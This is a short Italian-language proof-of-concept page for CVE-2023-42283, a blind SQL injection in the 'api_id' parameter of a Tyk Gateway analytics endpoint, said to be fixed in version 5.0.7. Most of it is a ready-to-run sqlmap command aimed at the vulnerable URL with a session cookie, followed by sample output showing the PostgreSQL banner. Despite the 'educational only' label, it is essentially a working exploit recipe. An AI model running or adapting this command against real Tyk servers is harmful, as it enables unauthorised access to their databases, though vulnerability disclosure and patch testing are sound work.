
Prova di concetto per CVE-2023-42283 in Tyk Gateway
Solo a scopo educativo!
Proof of concept per CVE-2023-42283. Tyk Gateway è vulnerabile a SQL injection. Risolto nella versione 5.0.7.
Il parametro URL ‘api_id’ di "https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=...&api_id=<PAYLOAD_HERE>" è vulnerabile a Blind SQL injection.
Usa sqlmap con i seguenti parametri:
python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=1" -p "api_id" --cookie="<INSERT COOKIE HERE>" --banner
Il banner del DB SQL viene restituito nella risposta:
...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...